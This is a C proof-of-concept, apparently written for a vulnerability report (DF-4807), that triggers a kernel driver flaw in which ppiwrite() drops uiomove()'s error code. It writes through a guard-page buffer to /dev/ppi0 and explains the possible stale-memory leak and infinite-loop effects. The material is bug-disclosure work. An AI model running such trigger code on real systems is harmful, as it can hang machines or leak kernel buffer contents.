/*
 * DF-4807 PoC: ppiwrite() drops the uiomove() return value (ppi.c:478).
 * Twin of the runtime-verified DF-4535 (lpt.c:763).
 *
 *     while ((len = szmin(uio->uio_resid, BUFSIZE)) != 0) {
 *         uiomove(ppi->ppi_buffer, len, uio);         <-- rc DROPPED
 *         byte_peripheral_write(ppbus, ppi->ppi_buffer, len, &sent);
 *     }
 *
 * With a faulting user buffer, bytes beyond what uiomove copied are stale
 * ppi_buffer content and are handed to byte_peripheral_write() for
 * transmission to the IEEE1284 master host; a fully-faulting write makes
 * uio_resid never shrink -> infinite retransmit loop.
 *
 * This program proves the runtime reachability boundary on a guest with a
 * QEMU-emulated SPP port: write() enters the peripheral-negotiation wait
 * (ppi.c:450, tsleep "ppiwrite" PCATCH) and blocks -- killable by SIGKILL
 * -- because no IEEE1284 *master* peer exists to negotiate.  The
 * stale-byte transmission facet requires physical 1284 peer hardware.
 * The dropped-error code shape is proven by objdump of the module binary
 * (ppiwrite.dis: uiomove at 0x59e, %eax never tested before
 * byte_peripheral_write at 0x5b0, whose return IS tested at 0x5b8).
 *
 * Usage: ./ppiwrite_uio &   then: kill -9 <pid>   (signal(3) installs
 * SA_RESTART, so a caught signal makes the write restart; use SIGKILL)
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>

int
main(void)
{
	int fd;
	char *buf;

	fd = open("/dev/ppi0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/ppi0");
		return (1);
	}
	printf("[+] opened /dev/ppi0\n");

	buf = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		perror("mmap");
		return (1);
	}
	memset(buf, 'A', 8192);
	if (mprotect(buf + 4096, 4096, PROT_NONE) != 0) {
		perror("mprotect");
		return (1);
	}
	printf("[+] buffer mapped, guard page at +4096 (write faults partway)\n");

	printf("[*] write(fd, buf, 8192) -> blocks in the 1284 peripheral\n");
	printf("    negotiation wait (no master peer on QEMU); kill -9 me\n");
	fflush(stdout);

	write(fd, buf, 8192);

	printf("[+] write returned\n");
	return (0);
}
